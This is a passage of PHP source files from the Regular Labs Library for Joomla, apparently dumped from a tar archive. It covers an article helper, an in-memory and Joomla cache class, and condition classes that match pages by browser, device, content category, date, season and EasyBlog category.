'u') . ' ON ' . $db->quoteName('u.id') .
' = ' . $db->quoteName('a.created_by'));
// Join over the categories to get parent category titles
if ( ! $custom_selects)
{
$query->select([
$db->quoteName('parent.title', 'parent_title'),
$db->quoteName('parent.id', 'parent_id'),
$db->quoteName('parent.path', 'parent_route'),
$db->quoteName('parent.alias', 'parent_alias'),
]);
}
$query->join('LEFT',
$db->quoteName('#__categories', 'parent') . '
ON ' . $db->quoteName('parent.id') . ' = ' .
$db->quoteName('c.parent_id'));
// Join on voting table
if ( ! $custom_selects)
{
$query->select([
'ROUND(v.rating_sum / v.rating_count, 0) AS rating',
$db->quoteName('v.rating_count',
'rating_count'),
]);
}
$query->join('LEFT',
$db->quoteName('#__content_rating', 'v') . ' ON
' . $db->quoteName('v.content_id') . ' = ' .
$db->quoteName('a.id'));
if ( ! $get_unpublished
&& ( ! $user->authorise('core.edit.state',
'com_content'))
&& ( ! $user->authorise('core.edit',
'com_content'))
)
{
// Filter by start and end dates.
$nullDate = $db->quote($db->getNullDate());
$date = JFactory::getDate();
$nowDate = $db->quote($date->toSql());
$query->where($db->quoteName('a.state') . ' =
1')
->where('(' . $db->quoteName('a.publish_up')
. ' = ' . $nullDate . ' OR ' .
$db->quoteName('a.publish_up') . ' <= ' .
$nowDate . ')')
->where('(' .
$db->quoteName('a.publish_down') . ' = ' . $nullDate
. ' OR ' . $db->quoteName('a.publish_down') . '
>= ' . $nowDate . ')');
}
$db->setQuery($query);
$data = $db->loadObject();
if (empty($data))
{
return false;
}
if (isset($data->attribs))
{
// Convert parameter field to object.
$data->params = new Registry($data->attribs);
}
if (isset($data->metadata))
{
// Convert metadata field to object.
$data->metadata = new Registry($data->metadata);
}
self::$articles[$cache_id] = $data;
return self::$articles[$cache_id];
}
/**
* Gets the current article id based on url data
*/
public static function getId()
{
$input = JFactory::getApplication()->input;
$id = $input->getInt('id');
if ( ! $id
|| ! (
($input->get('option') == 'com_content'
&& $input->get('view') == 'article')
|| ($input->get('option') == 'com_flexicontent'
&& $input->get('view') == 'item')
)
)
{
return false;
}
return $id;
}
/**
* Passes the different article parts through the given plugin method
*
* @param object $article
* @param string $context
* @param object $helper
* @param string $method
* @param array $params
* @param array $ignore
*/
public static function process(&$article, &$context, &$helper,
$method, $params = [], $ignore = [])
{
self::processText('title', $article, $helper, $method, $params,
$ignore);
self::processText('created_by_alias', $article, $helper,
$method, $params, $ignore);
self::processText('description', $article, $helper, $method,
$params, $ignore);
// Don't replace in text fields in the category list view, as they
won't get used anyway
if (Document::isCategoryList($context))
{
return;
}
// prevent fulltext from being messed with, when it is a json encoded
string (Yootheme Pro templates do this for some weird f-ing reason)
if ( ! empty($article->fulltext) &&
substr($article->fulltext, 0, 6) == '<!-- {')
{
self::processText('text', $article, $helper, $method, $params,
$ignore);
return;
}
$has_text = isset($article->text);
$has_article_texts = isset($article->introtext) &&
isset($article->fulltext);
$text_same_as_article_text = false;
if ($has_text && $has_article_texts)
{
$check_text = RegEx::replace('\s', '',
$article->text);
$check_introtext_fulltext = RegEx::replace('\s', '',
$article->introtext . ' ' . $article->fulltext);
$text_same_as_article_text = $check_text == $check_introtext_fulltext;
}
if ($has_article_texts && ! $has_text)
{
self::processText('introtext', $article, $helper, $method,
$params, $ignore);
self::processText('fulltext', $article, $helper, $method,
$params, $ignore);
return;
}
if ($has_article_texts && $text_same_as_article_text)
{
$splitter = '͞';
if (strpos($article->introtext, $splitter) !== false
|| strpos($article->fulltext, $splitter) !== false)
{
$splitter = 'Ͽ';
}
$article->text = $article->introtext . $splitter .
$article->fulltext;
self::processText('text', $article, $helper, $method, $params,
$ignore);
list($article->introtext, $article->fulltext) = explode($splitter,
$article->text, 2);
$article->text = str_replace($splitter, ' ',
$article->text);
return;
}
self::processText('text', $article, $helper, $method, $params,
$ignore);
self::processText('introtext', $article, $helper, $method,
$params, $ignore);
// Don't handle fulltext on category blog views
if ($context == 'com_content.category' &&
JFactory::getApplication()->input->get('view') ==
'category')
{
return;
}
self::processText('fulltext', $article, $helper, $method,
$params, $ignore);
}
private static function processText($type = '', &$article,
&$helper, $method, $params = [], $ignore = [])
{
if (empty($article->{$type}))
{
return;
}
if (in_array($type, $ignore))
{
return;
}
call_user_func_array([$helper, $method],
array_merge([&$article->{$type}], $params));
}
public static function getPages($string)
{
if (empty($string))
{
return [''];
}
return preg_split('#(<hr class="system-pagebreak"
.*?>)#s', $string, null, PREG_SPLIT_DELIM_CAPTURE |
PREG_SPLIT_NO_EMPTY);
}
public static function getPageNumber(&$all_pages, $search_string)
{
if (is_string($all_pages))
{
$all_pages = self::getPages($all_pages);
}
if (count($all_pages) < 2)
{
return 0;
}
foreach ($all_pages as $i => $page_text)
{
if ($i % 2)
{
continue;
}
if (strpos($page_text, $search_string) === false)
{
continue;
}
$all_pages[$i] = StringHelper::replaceOnce($search_string,
'---', $page_text);
return $i / 2;
}
return 0;
}
}
src/Cache.php000064400000003754151165347350007072 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Cache
* @package RegularLabs\Library
*/
class Cache
{
static $group = 'regularlabs';
static $cache = [];
// Is the cached object in the cache memory?
public static function has($id)
{
return isset(self::$cache[md5($id)]);
}
// Get the cached object from the cache memory
public static function get($id)
{
$hash = md5($id);
if ( ! isset(self::$cache[$hash]))
{
return false;
}
return is_object(self::$cache[$hash]) ? clone self::$cache[$hash] :
self::$cache[$hash];
}
// Save the cached object to the cache memory
public static function set($id, $data)
{
self::$cache[md5($id)] = $data;
return $data;
}
// Get the cached object from the Joomla cache
public static function read($id)
{
if (JFactory::getApplication()->get('debug'))
{
return false;
}
$hash = md5($id);
if (isset(self::$cache[$hash]))
{
return self::$cache[$hash];
}
$cache = JFactory::getCache(self::$group, 'output');
return $cache->get($hash);
}
// Save the cached object to the Joomla cache
public static function write($id, $data, $time_to_life_in_minutes = 0,
$force_caching = true)
{
if (JFactory::getApplication()->get('debug'))
{
return $data;
}
$hash = md5($id);
self::$cache[$hash] = $data;
$cache = JFactory::getCache(self::$group, 'output');
if ($time_to_life_in_minutes)
{
// convert ttl to minutes
$cache->setLifeTime($time_to_life_in_minutes * 60);
}
if ($force_caching)
{
$cache->setCaching(true);
}
$cache->store($data, $hash);
self::set($hash, $data);
return $data;
}
}
src/Condition/Agent.php000064400000005354151165347350011051
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use RegularLabs\Library\MobileDetect;
use RegularLabs\Library\RegEx;
/**
* Class Agent
* @package RegularLabs\Library\Condition
*/
abstract class Agent
extends \RegularLabs\Library\Condition
{
var $agent = null;
var $device = null;
var $is_mobile = false;
/**
* isPhone
*/
public function isPhone()
{
return $this->isMobile();
}
/**
* isMobile
*/
public function isMobile()
{
return $this->getDevice() == 'mobile';
}
/**
* isTablet
*/
public function isTablet()
{
return $this->getDevice() == 'tablet';
}
/**
* isDesktop
*/
public function isDesktop()
{
return $this->getDevice() == 'desktop';
}
/**
* passBrowser
*/
public function passBrowser($browser = '')
{
if ( ! $browser)
{
return false;
}
if ($browser == 'mobile')
{
return $this->isMobile();
}
// also check for _ instead of .
$browser = RegEx::replace('\\\.([^\]])', '[\._]\1',
$browser);
$browser = str_replace('\.]', '\._]', $browser);
return RegEx::match($browser, $this->getAgent(), $match,
'i');
}
/**
* setDevice
*/
private function getDevice()
{
if ( ! is_null($this->device))
{
return $this->device;
}
$detect = new MobileDetect;
$this->is_mobile = $detect->isMobile();
switch (true)
{
case($detect->isTablet()):
$this->device = 'tablet';
break;
case ($detect->isMobile()):
$this->device = 'mobile';
break;
default:
$this->device = 'desktop';
}
return $this->device;
}
/**
* getAgent
*/
private function getAgent()
{
if ( ! is_null($this->agent))
{
return $this->agent;
}
$detect = new MobileDetect;
$agent = $detect->getUserAgent();
switch (true)
{
case (stripos($agent, 'Trident') !== false):
// Add MSIE to IE11 and others missing it
$agent = RegEx::replace('(Trident/[0-9\.]+;.*rv[:
]([0-9\.]+))', '\1 MSIE \2', $agent);
break;
case (stripos($agent, 'Chrome') !== false):
// Remove Safari from Chrome
$agent = RegEx::replace('(Chrome/.*)Safari/[0-9\.]*',
'\1', $agent);
// Add MSIE to IE Edge and remove Chrome from IE Edge
$agent = RegEx::replace('Chrome/.*(Edge/[0-9])', 'MSIE
\1', $agent);
break;
case (stripos($agent, 'Opera') !== false):
$agent = RegEx::replace('(Opera/.*)Version/',
'\1Opera/', $agent);
break;
}
$this->agent = $agent;
return $this->agent;
}
}
src/Condition/AgentBrowser.php000064400000001415151165347350012407
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentBrowser
* @package RegularLabs\Library\Condition
*/
class AgentBrowser
extends Agent
{
public function pass()
{
if (empty($this->selection))
{
return $this->_(false);
}
foreach ($this->selection as $browser)
{
if ( ! $this->passBrowser($browser))
{
continue;
}
return $this->_(true);
}
return $this->_(false);
}
}
src/Condition/AgentDevice.php000064400000001411151165347350012157
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentDevice
* @package RegularLabs\Library\Condition
*/
class AgentDevice
extends Agent
{
public function pass()
{
$pass = (in_array('mobile', $this->selection) &&
$this->isMobile())
|| (in_array('tablet', $this->selection) &&
$this->isTablet())
|| (in_array('desktop', $this->selection) &&
$this->isDesktop());
return $this->_($pass);
}
}
src/Condition/AgentOs.php000064400000001033151165347350011341
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentOs
* @package RegularLabs\Library\Condition
*/
class AgentOs
extends AgentBrowser
{
// Same as AgentBrowser
}
src/Condition/Akeebasubs.php000064400000002074151165347350012054
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Akeebasubs
* @package RegularLabs\Library\Condition
*/
abstract class Akeebasubs
extends \RegularLabs\Library\Condition
{
var $agent = null;
var $device = null;
public function initRequest(&$request)
{
if ($request->id || $request->view != 'level')
{
return;
}
$slug =
JFactory::getApplication()->input->getString('slug',
'');
if ( ! $slug)
{
return;
}
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id')
->from('#__akeebasubs_levels AS l')
->where('l.slug = ' . $this->db->quote($slug));
$this->db->setQuery($query);
$request->id = $this->db->loadResult();
}
}
src/Condition/AkeebasubsLevel.php000064400000001360151165347350013041
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AkeebasubsLevel
* @package RegularLabs\Library\Condition
*/
class AkeebasubsLevel
extends Akeebasubs
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_akeebasubs' || $this->request->view !=
'level')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/AkeebasubsPagetype.php000064400000001215151165347350013547
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AkeebasubsPagetype
* @package RegularLabs\Library\Condition
*/
class AkeebasubsPagetype
extends Akeebasubs
{
public function pass()
{
return $this->passByPageType('com_akeebasubs',
$this->selection, $this->include_type);
}
}
src/Condition/Component.php000064400000001421151165347350011744
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
use Joomla\CMS\Factory as JFactory;
defined('_JEXEC') or die;
/**
* Class Component
* @package RegularLabs\Library\Condition
*/
class Component
extends \RegularLabs\Library\Condition
{
public function pass()
{
$option =
JFactory::getApplication()->input->get('option') ==
'com_categories'
? 'com_categories'
: $this->request->option;
return $this->passSimple(strtolower($option));
}
}
src/Condition/Content.php000064400000002073151165347350011420
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
/**
* Class Content
* @package RegularLabs\Library\Condition
*/
abstract class Content
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
if ($this->article)
{
return $this->article;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
$this->article = $model->getItem($this->request->id);
return $this->article;
}
}
src/Condition/ContentArticle.php000064400000003074151165347350012726
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ContentArticle
* @package RegularLabs\Library\Condition
*/
class ContentArticle
extends Content
{
public function pass()
{
if ( ! $this->request->id
|| ! (($this->request->option == 'com_content'
&& $this->request->view == 'article')
|| ($this->request->option == 'com_flexicontent'
&& $this->request->view == 'item')
)
)
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Featured
if ( ! $this->passItemByType($pass, 'Featured'))
{
return $this->_(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
// Pass Date
if ( ! $this->passItemByType($pass, 'Date'))
{
return $this->_(false);
}
// Pass Fields
if ( ! $this->passItemByType($pass, 'Field'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/ContentCategory.php000064400000010133151165347350013112
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use ContentsubmitModelArticle;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Table\Table as JTable;
/**
* Class ContentCategory
* @package RegularLabs\Library\Condition
*/
class ContentCategory
extends Content
{
public function pass()
{
// components that use the com_content secs/cats
$components = ['com_content', 'com_flexicontent',
'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->_(false);
}
if (empty($this->selection))
{
return $this->_(false);
}
$app = JFactory::getApplication();
$is_content = in_array($this->request->option,
['com_content', 'com_flexicontent']);
$is_category = in_array($this->request->view,
['category']);
$is_item = in_array($this->request->view, ['',
'article', 'item', 'form']);
if (
$this->request->option != 'com_contentsubmit'
&& ! ($this->params->inc_categories && $is_content
&& $is_category)
&& ! ($this->params->inc_articles && $is_content
&& $is_item)
&& ! ($this->params->inc_others && ! ($is_content
&& ($is_category || $is_item)))
&& ! ($app->input->get('rl_qp') && !
empty($this->getCategoryIds()))
)
{
return $this->_(false);
}
if ($this->request->option == 'com_contentsubmit')
{
// Content Submit
$contentsubmit_params = new ContentsubmitModelArticle;
if (in_array($contentsubmit_params->_id, $this->selection))
{
return $this->_(true);
}
return $this->_(false);
}
$pass = false;
if (
$this->params->inc_others
&& ! ($is_content && ($is_category || $is_item))
&& $this->article
)
{
if ( ! isset($this->article->id) &&
isset($this->article->slug))
{
$this->article->id = (int) $this->article->slug;
}
if ( ! isset($this->article->catid) &&
isset($this->article->catslug))
{
$this->article->catid = (int) $this->article->catslug;
}
$this->request->id = $this->article->id;
$this->request->view = 'article';
}
$catids = $this->getCategoryIds($is_category);
foreach ($catids as $catid)
{
if ( ! $catid)
{
continue;
}
$pass = in_array($catid, $this->selection);
if ($pass && $this->params->inc_children == 2)
{
$pass = false;
continue;
}
if ( ! $pass && $this->params->inc_children)
{
$parent_ids = $this->getCatParentIds($catid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if (in_array($id, $this->selection))
{
$pass = true;
break;
}
}
unset($parent_ids);
}
}
return $this->_($pass);
}
private function getCategoryIds($is_category = false)
{
if ($is_category)
{
return (array) $this->request->id;
}
$app = JFactory::getApplication();
$catid =
$app->getUserState('com_content.edit.article.data.catid');
if ( ! $catid)
{
if ( ! $this->article && $this->request->id)
{
$this->article = JTable::getInstance('content');
$this->article->load($this->request->id);
}
if ($this->article && isset($this->article->catid))
{
return (array) $this->article->catid;
}
}
if ( ! $catid)
{
$catid =
$app->getUserState('com_content.articles.filter.category_id');
}
if ( ! $catid)
{
$catid =
JFactory::getApplication()->input->getInt('catid');
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
if ($this->request->view == 'featured')
{
$menuparams = $this->getMenuItemParams($this->request->Itemid);
return isset($menuparams->featured_categories) ? (array)
$menuparams->featured_categories : (array) $catid;
}
return isset($menuparams->catid) ? (array) $menuparams->catid :
(array) $catid;
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'categories');
}
}
src/Condition/ContentPagetype.php000064400000001602151165347350013114
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ContentPagetype
* @package RegularLabs\Library\Condition
*/
class ContentPagetype
extends Content
{
public function pass()
{
$components = ['com_content', 'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->_(false);
}
if ($this->request->view == 'category' &&
$this->request->layout == 'blog')
{
$view = 'categoryblog';
}
else
{
$view = $this->request->view;
}
return $this->passSimple($view);
}
}
src/Condition/Cookieconfirm.php000064400000001404151165347350012572
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use PlgSystemCookieconfirmCore;
/**
* Class Cookieconfirm
* @package RegularLabs\Library\Condition
*/
class Cookieconfirm
extends \RegularLabs\Library\Condition
{
public function pass()
{
require_once JPATH_PLUGINS . '/system/cookieconfirm/core.php';
$pass = PlgSystemCookieconfirmCore::getInstance()->isCookiesAllowed();
return $this->_($pass);
}
}
src/Condition/Date.php000064400000001027151165347350010661 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Date
* @package RegularLabs\Library\Condition
*/
abstract class Date
extends \RegularLabs\Library\Condition
{
}
src/Condition/DateDate.php000064400000003607151165347350011465
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateDate
* @package RegularLabs\Library\Condition
*/
class DateDate
extends Date
{
public function pass()
{
if ( ! $this->params->publish_up && !
$this->params->publish_down)
{
// no date range set
return ($this->include_type == 'include');
}
$now = $this->getNow();
$up = $this->getDate($this->params->publish_up);
$down = $this->getDate($this->params->publish_down);
if (isset($this->params->recurring) &&
$this->params->recurring)
{
if ( ! (int) $this->params->publish_up || ! (int)
$this->params->publish_down)
{
// no date range set
return ($this->include_type == 'include');
}
$up = strtotime(date('Y') . $up->format('-m-d
H:i:s', true));
$down = strtotime(date('Y') . $down->format('-m-d
H:i:s', true));
// pass:
// 1) now is between up and down
// 2) up is later in year than down and:
// 2a) now is after up
// 2b) now is before down
if (
($up < $now && $down > $now)
|| ($up > $down
&& (
$up < $now
|| $down > $now
)
)
)
{
return ($this->include_type == 'include');
}
// outside date range
return $this->_(false);
}
if (
(
(int) $this->params->publish_up
&& strtotime($up->format('Y-m-d H:i:s', true))
> $now
)
|| (
(int) $this->params->publish_down
&& strtotime($down->format('Y-m-d H:i:s', true))
< $now
)
)
{
// outside date range
return $this->_(false);
}
// pass
return ($this->include_type == 'include');
}
}
src/Condition/DateDay.php000064400000001215151165347350011316
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateDay
* @package RegularLabs\Library\Condition
*/
class DateDay
extends Date
{
public function pass()
{
$day = $this->date->format('N', true); // 1 (for Monday)
though 7 (for Sunday )
return $this->passSimple($day);
}
}
src/Condition/DateMonth.php000064400000001240151165347350011664
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateMonth
* @package RegularLabs\Library\Condition
*/
class DateMonth
extends Date
{
public function pass()
{
$month = $this->date->format('m', true); // 01 (for
January) through 12 (for December)
return $this->passSimple((int) $month);
}
}
src/Condition/DateSeason.php000064400000005255151165347350012041
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateSeason
* @package RegularLabs\Library\Condition
*/
class DateSeason
extends Date
{
public function pass()
{
$season = self::getSeason($this->date,
$this->params->hemisphere);
return $this->passSimple($season);
}
private function getSeason(&$d, $hemisphere = 'northern')
{
// Set $date to today
$date = strtotime($d->format('Y-m-d H:i:s', true));
// Get year of date specified
$date_year = $d->format('Y', true); // Four digit
representation for the year
// Specify the season names
$season_names = ['winter', 'spring',
'summer', 'fall'];
// Declare season date ranges
switch (strtolower($hemisphere))
{
case 'southern':
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[3]; // Must be in Fall
}
break;
case 'australia':
if (
$date < strtotime($date_year . '-03-01')
|| $date >= strtotime($date_year . '-12-01')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-01'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-01'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-01'))
{
return $season_names[3]; // Must be in Fall
}
break;
default: // northern
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[3]; // Must be in Fall
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[1]; // Must be in Spring
}
break;
}
return 0;
}
}
src/Condition/DateTime.php000064400000002340151165347350011477
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateTime
* @package RegularLabs\Library\Condition
*/
class DateTime
extends Date
{
public function pass()
{
$now = $this->getNow();
$up = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_up);
$down = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_down);
if ($up > $down)
{
// publish up is after publish down (spans midnight)
// current time should be:
// - after publish up
// - OR before publish down
if ($now >= $up || $now < $down)
{
return $this->_(true);
}
return $this->_(false);
}
// publish down is after publish up (simple time span)
// current time should be:
// - after publish up
// - AND before publish down
if ($now >= $up && $now < $down)
{
return $this->_(true);
}
return $this->_(false);
}
}
src/Condition/Easyblog.php000064400000001503151165347350011550
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Easyblog
* @package RegularLabs\Library\Condition
*/
abstract class Easyblog
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__easyblog_post')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/EasyblogCategory.php000064400000003513151165347350013251
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogCategory
* @package RegularLabs\Library\Condition
*/
class EasyblogCategory
extends Easyblog
{
public function pass()
{
if ($this->request->option != 'com_easyblog')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories &&
$this->request->view == 'categories')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'entry' :
return $this->getCategoryIDFromItem();
break;
case 'categories' :
return $this->request->id;
break;
default:
return '';
}
}
private function getCategoryIDFromItem()
{
$query = $this->db->getQuery(true)
->select('i.category_id')
->from('#__easyblog_post AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
